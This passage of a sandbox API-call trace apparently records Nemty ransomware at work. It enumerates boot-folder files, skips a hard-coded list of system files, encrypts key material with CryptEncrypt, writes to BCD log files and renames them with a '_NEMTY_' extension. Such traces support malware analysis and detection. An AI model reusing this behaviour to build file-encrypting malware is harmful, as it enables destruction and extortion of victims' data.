out: hHeap=0x4f90000) returned 1 [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.305] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f620*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f620*=0x100) returned 1 [0043.305] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f624*, pdwDataLen=0x653f610*=0x10, dwBufLen=0x100 | out: pbData=0x653f624*, pdwDataLen=0x653f610*=0x100) returned 1 [0043.305] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f61c | out: pszString=0x0, pcchString=0x653f61c) returned 1 [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.305] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f61c | out: pszString="qGY6b3h7stcCwHtIYwLfjxHit667Bip+PStbjR6iRGqmwfcALKItHuPwNbkJpSM4\r\n/UObypWijEdNDyIHpNW31jznSJUARU1er9vDkQSAqUVMwLvH5Wh0NU8BB7zXTDO7\r\nui4LKWg38BV7BDu9Yh1CunxETvQq1LoxhOe4N/VKi26mOUVAFvAtiFaTTnXmIxHa\r\n2llkfYM+C0v9mIVBHgzLW2ns7VBCUOkM7ZUgT+Gwg8hCEWpbg9IqzuPNA9A3n2MK\r\nH9o4SsRCa5dwnTzb96bH1e1UnXoOFz1lcvbgxuMiMlVb/yDa3vEUoBFFgGVjlL4C\r\n3CEvRsixvuZP8zzDIN6lhQ==\r\n", pcchString=0x653f61c) returned 1 [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.306] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.306] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x653f870 | out: lpFileSize=0x653f870*=0) returned 1 [0043.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1) returned 0x4f91758 [0043.306] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.306] ReadFile (in: hFile=0x3c0, lpBuffer=0x4f91758, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x4f91758*, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 1 [0043.306] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.306] WriteFile (in: hFile=0x3c0, lpBuffer=0x4f91758*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpBuffer=0x4f91758*, lpNumberOfBytesWritten=0x653f85c*=0x0, lpOverlapped=0x0) returned 1 [0043.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91758 | out: hHeap=0x4f90000) returned 1 [0043.306] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.306] WriteFile (in: hFile=0x3c0, lpBuffer=0x4f94088*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpBuffer=0x4f94088*, lpNumberOfBytesWritten=0x653f85c*=0x167, lpOverlapped=0x0) returned 1 [0043.307] CloseHandle (hObject=0x3c0) returned 1 [0043.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f94370 [0043.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0043.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943a8 [0043.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0043.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.309] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\bcd.log1._nemty_kgobjgd_")) returned 1 [0043.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943a8 | out: hHeap=0x4f90000) returned 1 [0043.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0043.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91720 | out: hHeap=0x4f90000) returned 1 [0043.310] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="...") returned 1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="windows") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="$RECYCLE.BIN") returned 1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="rsa") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="NTDETECT.COM") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntldr") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="MSDOS.SYS") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="IO.SYS") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="boot.ini") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="boot.ini") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="AUTOEXEC.BAT") returned 1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="ntuser.dat") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="desktop.ini") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="CONFIG.SYS") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="RECYCLER") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="BOOTSECT.BAK") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="bootmgr") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="programdata") returned -1 [0043.310] lstrcmpiW (lpString1="BCD.LOG2", lpString2="appdata") returned 1 [0043.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x653f8d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG2", lpUsedDefaultChar=0x0) returned 8 [0043.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x653f8d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG2", lpUsedDefaultChar=0x0) returned 8 [0043.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x653f920, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG2", lpUsedDefaultChar=0x0) returned 8 [0043.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x653f958, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCD.LOG2", lpUsedDefaultChar=0x0) returned 8 [0043.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0043.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.311] Sleep (dwMilliseconds=0x5) [0043.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd85d750, dwHighDateTime=0x1d561e7)) [0043.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd85d750, dwHighDateTime=0x1d561e7)) [0043.319] GetLastError () returned 0x0 [0043.319] SetLastError (dwErrCode=0x0) [0043.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.319] GetLastError () returned 0x0 [0043.319] SetLastError (dwErrCode=0x0) [0043.319] GetLastError () returned 0x0 [0043.319] SetLastError (dwErrCode=0x0) [0043.319] GetLastError () returned 0x0 [0043.319] SetLastError (dwErrCode=0x0) [0043.319] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.320] GetLastError () returned 0x0 [0043.320] SetLastError (dwErrCode=0x0) [0043.321] GetLastError () returned 0x0 [0043.321] SetLastError (dwErrCode=0x0) [0043.321] GetLastError () returned 0x0 [0043.321] SetLastError (dwErrCode=0x0) [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.321] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f620*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f620*=0x100) returned 1 [0043.321] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f624*, pdwDataLen=0x653f610*=0x10, dwBufLen=0x100 | out: pbData=0x653f624*, pdwDataLen=0x653f610*=0x100) returned 1 [0043.321] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f61c | out: pszString=0x0, pcchString=0x653f61c) returned 1 [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.321] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f61c | out: pszString="YAXEYmuDejDxKubg28HyXgmm0CM7y9bfFlC1/L1+29uHpr0SsMsV38bBYM1FemvX\r\nKR5A3WXUP7d4EsCNYUYZs6iFs/IMF7b9rUeknM3JS1aIHANYcVcb+KUvKbCbKvG8\r\nsfVNVEcff70rKm4aEbeX4wh4Zr2LPXgmK/dcY2PM0IFcVq6e4h5h6kk9B7uJH3VP\r\nIPwEz5ZyyDbzBKohinmOAuWgu2NaMlyi3OPwyDMlEct03I3Si3IYWtbeZ0FowIhk\r\nhg+V43UEEWRAsBCd+QEKRWHOWl/7u35c3ZJfRPUF15MeDymHOVotsZ66s05KT7nl\r\nzu//j19t0VPoeUS1cMvTSA==\r\n", pcchString=0x653f61c) returned 1 [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.321] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.322] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x653f870 | out: lpFileSize=0x653f870*=0) returned 1 [0043.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1) returned 0x4f928d0 [0043.322] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.322] ReadFile (in: hFile=0x3c0, lpBuffer=0x4f928d0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x4f928d0*, lpNumberOfBytesRead=0x653f864*=0x0, lpOverlapped=0x0) returned 1 [0043.322] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.322] WriteFile (in: hFile=0x3c0, lpBuffer=0x4f928d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpBuffer=0x4f928d0*, lpNumberOfBytesWritten=0x653f85c*=0x0, lpOverlapped=0x0) returned 1 [0043.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928d0 | out: hHeap=0x4f90000) returned 1 [0043.322] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.322] WriteFile (in: hFile=0x3c0, lpBuffer=0x4f94088*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpBuffer=0x4f94088*, lpNumberOfBytesWritten=0x653f85c*=0x167, lpOverlapped=0x0) returned 1 [0043.323] CloseHandle (hObject=0x3c0) returned 1 [0043.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0043.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0043.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.324] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\bcd.log2._nemty_kgobjgd_")) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63455d0 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.324] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0043.324] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0043.324] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0043.324] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="...") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="windows") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="$RECYCLE.BIN") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="rsa") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="NTDETECT.COM") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntldr") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="MSDOS.SYS") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="IO.SYS") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="boot.ini") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="boot.ini") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="AUTOEXEC.BAT") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="ntuser.dat") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="desktop.ini") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="CONFIG.SYS") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="RECYCLER") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="BOOTSECT.BAK") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="bootmgr") returned 1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="programdata") returned -1 [0043.325] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="appdata") returned 1 [0043.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x653f8d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTSTAT.DAT", lpUsedDefaultChar=0x0) returned 12 [0043.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x653f8d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTSTAT.DAT", lpUsedDefaultChar=0x0) returned 12 [0043.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x653f920, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTSTAT.DAT", lpUsedDefaultChar=0x0) returned 12 [0043.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 